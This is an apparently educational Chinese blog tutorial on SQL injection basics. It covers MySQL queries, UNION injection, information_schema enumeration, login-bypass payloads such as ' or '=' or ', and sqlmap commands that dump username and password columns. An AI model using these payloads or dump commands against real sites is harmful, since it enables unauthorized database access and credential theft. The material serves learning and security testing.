SQL注入漏洞基础

什么是SQL注入

在正常的需要调用数据库数据的URL后面构造一段数据库查询代码,然后根据返回的结果,从而获得想要的某些数据。
MySQL
SQL结构化查询语言,绝大多数关系型数据库(MySQL、Access、Oracle等)都采用SQL进行查询、管理及常用操作。
AppServ
通过AppServ,可以在Windows系统中快速搭建出一个Apache+PHP+MySQL的集成Web环境。
MySQL基本操作
在MySQL中所有的语句后面都要加上“;” 表示结束。
select version(); #查看mysql版本
select user(); #查看当前用户
select database(); #查看当前打开的数据库
show databases; #查看MySQL中共包含了哪些数据库
use test; #打开test数据库
show tables; #显示数据库中的表
创建表
mysql> create table hack
-> (
-> id int,
-> username varchar(20),
-> password varchar(30)
-> );
向表中添加记录
insert into hack values(1,‘admin’,‘456’);
insert into hack values(2,‘boss’,‘123’);
select查询
select * from hack; #显示hack表中的所有记录
select * from hack where id=1; #从hack表中查找满足条件id=1的记录

select username,password from hack where id=1;
#从hack表中查找满足条件id=1的记录,并只显示username和password字段内容

select * from hack where id=1 and username=“admin”;
#从hack表中查找同时满足条件id=1以及username=“admin”的记录

select * from hack where id=1 or username=“boss”;
#从hack表中查找同时满足条件id=1或者username=“boss”的记录
select * from news where id=1 and exists (select * from hack);
#通过exists()函数判断hack表是否存在

select * from news where id=1 and exists (select username from hack);
#通过exists()函数判断hack表中是否存在username字段

select * from hack order by id;
#按照hack表中的id列升序排序

select username,password from hack order by 2;
#按照查询结果中的第2列(即password列)升序排序

union select联合查询

union联合查询可以一次性执行两个或多个查询,并将它们的结果组合在一起输出显示。
union联合查询的基本规则: 所有查询中的列数必须相同

select * from news union select * from hack; #字段数不匹配,查询报错

select * from news union select username,password from hack; #查询正常

select * from hack union select 1,id,title from news; #查询正常

MySQL中的注释语句

单行注释
#,以“#”号开头,直到该行行尾,全部都是注释内容;
– ,以“-- ”号开头,直到该行行尾,全部都是注释内容。(“-- ”与注释内容之间要加有空格)
多行注释
/……/,“/”用于注释文字的开头,“/”用于注释文字的结尾。

select * from hack; #union select 1,id,title from news;
select * from hack; – union select 1,id,title from news;

元数据库information_schema

在5.0以后版本的MySQL中存在着一个元数据库information_schema,其中存储着用户在MySQL中创建的所有其它数据库的信息。

在对PHP+MySQL类网站进行注入时,主要就是针对information_schema数据库进行操作。

information_schema中比较重要的数据表
schemata:用于存放所有数据库的名字。

tables:用于存放所有数据库中的数据表的名字。

columns:用于存放所有数据库的所有数据表中的所有字段的名字。

密码绕过

绕过语句
1’ or 1=1 or ‘1
‘ or ‘=‘ or ‘

将绕过语句代入到查询语句中
select * from admin where username = ‘’ or ‘=‘ or ‘’ and password=’$mpassword‘

假 or 真 or 真 and 假

逻辑运算表达式

在逻辑表达式中,and的优先级高于or。

假 or 真 or 真 and 假

假 or 真 or 假

sqlmap的使用

检测注入点
sqlmap.py -u “URL地址”
“-u”选项用于指定URL

猜解表名
sqlmap.py -u “URL地址” –tables
–tables”选项用于指定猜解数据库中包含哪些表

注入ACCESS数据库
猜解字段名
sqlmap.py -u “URL” --columns -T "manage_user“
“-T”选项,指定对哪个表进行猜解
“–columns”选项,告诉sqlmap这次的任务是猜解字段名

爆出字段内容
sqlmap.py -u “URL” --dump -C “username,password” -T "manage_user“
选项“–dump”连同选项“-C”一起使用,意为猜解指定字段中的内容。

sqlmap将检测结果保存到C:\Users\用户名.sqlmap\output目录中(/root/.sqlmap/output)

注入MySQL数据库

检测注入点
sqlmap.py -u URL

信息探测
sqlmap.py -u “URL” --is-dba
判断站点的当前用户是否为数据库管理员

cookie注入

cookie用于在客户端本地保存用户访问网站时的一些身份验证信息。

cookie与get和post方法一样,都可用于客户端向服务器端传递数据。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值